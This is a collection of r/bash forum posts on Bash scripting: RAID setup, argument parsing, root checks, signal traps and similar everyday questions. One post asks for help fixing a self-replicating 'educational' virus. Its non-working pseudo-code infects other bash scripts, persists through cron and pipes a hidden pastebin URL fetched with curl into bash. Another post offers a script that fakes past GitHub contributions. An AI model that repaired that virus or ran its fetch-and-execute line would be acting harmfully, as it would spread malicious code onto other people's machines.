Setting Up RAID with Caching on Ubuntu

### Purpose
I came up with this noscript which I then modified to be more universal so more people could use it without having to change a ton of stuff (unless you are not on Ubuntu then you might have to).


### Script execution
- Updates package lists and installs necessary packages (mdadm, lvm2, bcache-tools, nvme-cli).
- Rescans SCSI and NVMe buses.
- Partitions the specified disks.
- Creates a RAID array with the specified RAID type and disks.
- Initializes the RAID array as a cache device.
- Attaches the cache to the main RAID array.
- Creates an ext4 filesystem on the cached RAID array.
- Mounts the RAID array and updates /etc/fstab to ensure it mounts at boot.
- Provides detailed feedback and error handling throughout the process.


#### User Variables
- MAIN_RAID_TYPE : RAID type for the main RAID array (e.g., 10).
- CACHE_RAID_TYPE : RAID type for the caching RAID array (e.g., 0).
- MAIN_RAID_DISKS : Array of disks for the main RAID array (e.g., /dev/sdc /dev/sdd /dev/sde /dev/sdf).
- CACHE_RAID_DISKS : Array of disks for the caching RAID array (e.g., /dev/nvme1n1 /dev/nvme2n1).

#### Usage Instructions
1. Set the RAID Types and Disks: Open the noscript and set the MAIN_RAID_TYPE, CACHE_RAID_TYPE, MAIN_RAID_DISKS, and CACHE_RAID_DISKS variables at the top of the noscript.
2. Save the Script: Save the noscript to a file, for example, setup_raid_with_cache.sh.
3. Make the Script Executable:

    chmod +x setup_raid_with_cache.sh
    

4. View Help Menu: Run the noscript with the --help or -h option to view the help menu:

    sudo ./setup_raid_with_cache.sh --help
    

5. Run the Script as Root or with sudo:

    sudo ./setup_raid_with_cache.sh
    

#### Example Configuration

MAIN_RAID_TYPE=10
CACHE_RAID_TYPE=0
MAIN_RAID_DISKS=(/dev/sdc /dev/sdd /dev/sde /dev/sdf)
CACHE_RAID_DISKS=(/dev/nvme1n1 /dev/nvme2n1)
sudo ./setup_raid_with_cache.sh

### Sourcing the noscript
You can get the noscript on GitHub here

https://redd.it/1e84grh
@r_bash

Best Bash Learning Resources?

Hello there,

an intermediate software engineering student here

i want some good and beginner friendly bash sources to learn from

Note: i prefer reading that watching videos, so books/articles would be greatly appreciated.

https://redd.it/1e86doo
@r_bash

Maelstrom: Open-Source Stress Test Tool for Your APIs

Hey Reddit!

I just open-sourced on MIT license a new stress test tool ("**Maelstrom**"), that was useful to me. It’s lightweight and designed to be efficient for testing API endpoints with configurable parameters. Here are some of its key features:

* **Customizable Parameters**: Set the number of requests, concurrency level, retry limits, and more.
* **Detailed Logging**: Keep track of HTTP status codes and response times.
* **Email Notifications**: Get summaries of test results via email (optional).
* **Graceful Shutdown**: Handles interruptions smoothly.
* **Latency Metrics**: Helps understand average latency of APIs
* **Graceful Shutdown**: Handles interruptions smoothly.
* **Multi-threaded by design**: Simulates multi-threaded concurrent requests to API Endpoints

GitHub: [https://github.com/twentyone24/maelstrom](https://github.com/twentyone24/maelstrom)

Check it out if you’re interested. I’d love to hear any feedback or suggestions!

Cheers! Thanks for your time :-)

https://redd.it/1e8glqo
@r_bash

how do you know grand-father-dir-size?

Hi, I'd like to learn about any commands for know size of father dir I mean /media/user/A/ that has lots of childs dirs and files. Size of units ...

I tryed ls -lh but it did not say the real size.

That's all folks!

https://redd.it/1e8n3ec
@r_bash

a tiny program i wrote in bash to help ollama models management easier
https://redd.it/1e8odv3
@r_bash

How to handle ctrl+c in bash noscripts

Hello Guys!

I have wrote an article on Medium on how to handle ctrl+c in bash noscripts using the 'trap' command



For Medium users with a subnoscription: https://lovethepenguin.com/how-to-handle-ctrl-c-in-bash-noscripts-d7085e7d3d47



For Medium users without a subnoscription: https://lovethepenguin.com/how-to-handle-ctrl-c-in-bash-noscripts-d7085e7d3d47?sk=8a9020256b1498196a923c5521619228



Please comment on what you liked, did you find this article useful?

https://redd.it/1e8plnu
@r_bash

Wrote a bash noscript for adding dummy GitHub contributions to past dates
https://redd.it/1e8u8bu
@r_bash

How to pass multiple arguments with one flag and pick them up with getopts?

Dear Bash Experts,

I am trying to do something like:

some_utility -o val1 val2

and I am following:

https://serverfault.com/a/677544/1111748

I would like to ask the original author, but I need at least a 50 reputation to ask. So I am here, and I would like to know if I really need to use sed -f and set +f. I do not know what it does and when I ommit these lines (which keeps the noscript simpler and I like it) things still work the way I want it.

Cheers.


https://redd.it/1e9blot
@r_bash

Looping over an empty array

#! /usr/bin/env bash


set -o nounset
set -o pipefail

IFS='-'

str_files="$(true)"
mapfile -t files <<< "${str_files}"

echo "size: ${#files}"
echo "files: ${files[*]}"

for file in "${files[@]}"; do
 echo "-> ${file}"
done

The noscript above prints:

size: 0
files: 
->

I was confronted with this issue today. I don't understand why there's one loop. I feel like I'm missing out on something huge.

https://redd.it/1e9diuh
@r_bash

Bash Script Errors (Virus for educational purposes)

Virus is called PURO (idk why i just thought about that name) the error is:

./puro: line 2: syntax error near unexpected token `for'

./puro: line 2: ` for $bashFile in $volume.getAllBashFiles():'


it checks for bash files to find and infect them but i cant find any fixes on these errors so i turned to reddit the code is:

for $volume in '/volumes':

for $bashFile in $volume.getAllBashFiles():

$bashFile.append(thisScript)



cronJob.add(thisScript, OneHour)



bash <(curl -s HIDDEN PASTEBIN LINK FOR UR OWN SAFETY)



https://redd.it/1e9jtth
@r_bash

SSH Server Diagnostic Script Question

I've made a bash noscript that SSHs into a remote machine and runs some diagnostic commands, modify the output to make it more human-readable and use color to highlight important information. Currently I've run into a problem that I cannot solve. I am using HereDocs to basically throw all of my code into, assign this to a variable, then pass this to my SSH command. I can't seem to find a way to run multiple commands, assign their output to a variable to modify later, all while using one single SSH session. Any ideas? The Heredoc works fine, but it prevents me from breaking my code up into smaller functions, and it looks like a mess in the IDE as the HereDoc is treated as a giant string.

https://redd.it/1e9mrl9
@r_bash

git webhook that tells you to rerun deps install, whatever the dev stack on git pull/checkout in bash.
https://github.com/Sanix-Darker/ii

https://redd.it/1e9slz3
@r_bash

open new gnome-terminal, run commands, and kill later

I'm trying to make a bash noscript to easily manage video game servers (e.g. Minecraft) from the command line. Here's what I have currently, which works well for starting a server specified by $1:

cd "$1"
case "$2" in

"run")

gnome-terminal --noscript="Minecraft: Java Edition server" -- /bin/sh -c 'gnome-terminal --noscript="Playit.gg" --tab -- /bin/bash -c "playit"; java -Xms2G -Xmx4G -jar server.jar nogui';;

What I want to do is be able to later use "stop" as $2 and kill those processes that "run" starts. Is there a way to assign the new gnome-terminal to a variable to interact with it? That would make killing both processes at once easier (I think), and make the noscript easier to read.

Additionally, I think that would help for running two servers at once, since I could hopefully do something like kill the server.jar for a given server, then check whether any others are running and, only if I find that none are, kill playit.

https://redd.it/1eaornn
@r_bash

Is it possible to debug a bash noscript using a debugger in attached mode? For debugging noscripts on the host machine and noscripts inside a docker container?

I was able to setup a debugger using a launch mode using Visual Studio Code with the Bash Debug extension. Is it possible to setup the debugger in VSCode to be able to debug a bash noscript using a attach debug mode?


For debugging noscripts on the host machine and noscripts inside a docker container?

https://redd.it/1easa9f
@r_bash

Get all arguments from argument number X

In this example below...

myfunction() {
    echo $1
    echo $2
    echo $3

    echo $*
}

It will print out the following...

$ myfunction a b c d e f g h
a
b
c
a b c d e f g h

How would I get it to print out this instead, to not print out "a b c". Is there a simple way to do this without creating a new variable and filtering out the first three arguments from the $* variable?

$ myfunction a b c d e f g h
a
b
c
d e f g h

https://redd.it/1earbab
@r_bash

Bash Question

Hello!

My question is the following, I want to create a function inside a noscript to check if the user that executes the noscript has the UID 0, not necessarily the user with UID 0 must be called root, so I prefer to do it taking the UID as a reference instead of the string ‘root’.

I have read several sources and I have seen that it is more advisable to use $EUID instead of $UID, so it takes into account cases such as SETUID assignment or others.

So I understand that an approach like the following would be valid, right?

checkUID()
{
[ -n $EUID ] && (( $EUID )) && return 1
}

Would it be a bit more robust if done as follows?

checkUID()
{
[ -n $EUID ] && (( $EUID )) && return 1
command -V id &> /dev/null && (( $( id -u ) )) && return 1
}

I would like you to tell me what would be the most robust or recommended way to perform such a check.

If it is not too much trouble, I would like you to tell me also something similar to check if the shell from which the noscript is executed is a bash shell or not.

I understand that it would be something like this, right?

checkUID()
{
[ $BASH != *bash$ ] && return 1
# OR
local shell=$( ps -p $$ -o 'comm=' )
[[ $shell != bash ]] && return 1
}

As for the other case I mentioned, is there a better way to do it?

The truth is that another doubt that arises when performing checks like the previous ones is the following, if you are really checking if the content of a variable is equal or different to a number or a string, would it be necessary to perform the check previously using [[ -n $var ]] or [[ $var ]] Or could you just proceed with the check as [[ $var == ‘something’ ]] and in case the variable is empty, then the status code of the latter check would be wrong?

While I'm at it, another question I've been having for quite some time, would it be better to use [[ -n $var ]] [[ -z $var ]] or [[ $var ]] ! [[ $var ]]

Would it be advisable to use the first variant as it seems more readable or is it more convenient to use the second one?

Sorry for so many questions, but instead of creating several threads, I'll take advantage of this and leave all my current doubts in one thread

Thank you very much in advance 😊

https://redd.it/1ebavq3
@r_bash

Get list of keys in plist file

I want to read the content of Plist file and get a listing of all entries like this:

Apple
Apple/iPhone
Apple/MacBook
Samsung
Samsung/Galaxy
Samsung/Galaxy/Tab

https://redd.it/1ecrh9k
@r_bash

Built-ins, distribution, and bootstrapping

## Background:
Bash seems nearly as ubiquitous as it gets (to me, at least), and I see so many examples of people doing neat things with it (and not just in their personal dotfiles; some examples here https://github.com/awesome-lists/awesome-bash)

## Questions:
1. Why doesn't there seem to be much effort or talk about developing more built-ins? (Blog on built-ins I found intriguing yesterday: https://blog.dario-hamidi.de/a/build-a-bash-builtin)
2. I've seen a lot of custom bootstrap/setup noscripts, and neat repos, but is there not any kind of more centralized way of sharing/searching/downloading bash noscripts/libs/utils? Like pip for python? Maybe I'm missing something, but there seems to be a lot of duplicated effort out there for reasons that don't always seem clear to me given how long bash has been out there, and how interested so many seem to be in using it.
3. I find myself unsure how best to approach sharing bash support in an environment, like extra libs, project setup utilities, etc. If you care to take the time, I'm curious what people think of bootstrap/setup noscripts, using curl/wget, or something like the makefile in this repo: https://github.com/jmcantrell/bashful. I'm open to anything people want to say/share, I'm just trying to understand.

___
### Personal Context:
(and very possibly irrelevant)
I've used Linux for years doing controls work for particle accelerators, but haven't had a real reason to really dive into bash until these last few months; after realizing that it seemed like a good fit for helping me address certain site specific issues at a new lab I just started at in the last year.

I've been learning by trying to write my own bash libraries to support bash noscripting and drafting/testing setup noscripts. All while thoroughly investigating all questions that pop up in my head along the way, or which shellcheck makes me curious about, digging through all of the examples I can find, comparing coding styles and common patterns, trying to incorporate things I see and.. just generally trying to get as much as I can out of the opportunity presented by my genuine interest in something I was weak at and which represents a good value-add at work.

From everything I've seen so far, r/bash seems like a great community that's already proven helpful to me. Whether you respond to this or not, thanks for this.

Cheers!

https://redd.it/1ecvoeg
@r_bash

Script to get lat/lon

I'm trying to figure out how to get the location (latitude/longitude) from the find my device web site. I'm using Linux on a Chromebook which does not have GPS. On the CB I can log into Find My Device to find my phone, which is next to the CB, and therefore get the lat/lon of my CB.

I think I can use curl (???) to get the find my device web page and somehow find the lat/lon by grepping download.

Then I'll feed to coordinates to navigation software - opencpn.

My noscript knowledge is pretty rusty, so any advice appreciated.

Is this a realistic project?

https://redd.it/1ed1s46
@r_bash

How to recursively copy, maintaining dir structure, with intermediate processing

I have a bunch of albums on an external hard drive that I would like to copy to an SD card that has limited storage capacity while maintaining the directory structure.

Some of the albums are in MP3 format, and some are FLAC. To this end, my thought is to simply copy the existing MP3s as-is and process the FLAC audio, creating smaller MP3s as needed, but I don't want to keep the newly-generated MP3s at all, whether on my laptop or on the external hard drive. I just want to create them to be sent to the SD card.

Is this feasible with Bash? If so, how? Otherwise, should I be looking at doing this in a different language, like Python? Or should I just store the MP3s?

https://redd.it/1edj8qp
@r_bash

Coloring issue with 3rd party application

Hey guys,

I'm trying to create a log filter to one of my bash apps, but I've came across an annoying issue, which I cannot fix with my knowledge sadly, so I ask for your kindness and help. <3

So basically, my code's important section for this aspect looks like this:

# Replace Startup Variables
MODIFIEDSTARTUP=$(eval echo $(echo ${STARTUP} | sed -e 's/{{/${/g' -e 's/}}/}/g'))
logmessage "Starting server: ${MODIFIEDSTARTUP}" "running"

# Run the Server
eval "${MODIFIEDSTARTUP}" 2>&1 | while IFS= read -r line; do
if [ "$line" =~ "blockable_text_here" ]; then
logblockedmessage "$line"
else
echo -e "$line"
fi
done

This works perfectly as I see the blocked messages (it's just for debug), but sadly the echo changes the 3rd party application's message colors to white. I tried to use printf, echo and awk, but sadly all output looks like this now for example:

https://preview.redd.it/h0jpszfdf4fd1.png?width=1590&format=png&auto=webp&s=5bdb0bdffe61602bd457fdfd04b1fc7dfd8d3c18

the expected original output looks like this:

https://preview.redd.it/ddz88wvlf4fd1.png?width=1196&format=png&auto=webp&s=86327e228e9730f72ab28e87338c999cdeb132e3

I would really appreciate that if you could guide me to fix this annoying issue. Of course the code work as intended, but the colors required for this service sadly.

Appreciate your time for reading this, even if you cannot help :(

EDIT: The working colouring is achieved with this by default:

# Replace Startup Variables
MODIFIEDSTARTUP=`eval echo $(echo ${STARTUP} | sed -e 's/{{/${/g' -e 's/}}/}/g')`
logmessage ":/home/container$ ${MODIFIEDSTARTUP}" "running"

# Run the Server
eval ${MODIFIEDSTARTUP}

https://redd.it/1edpts0
@r_bash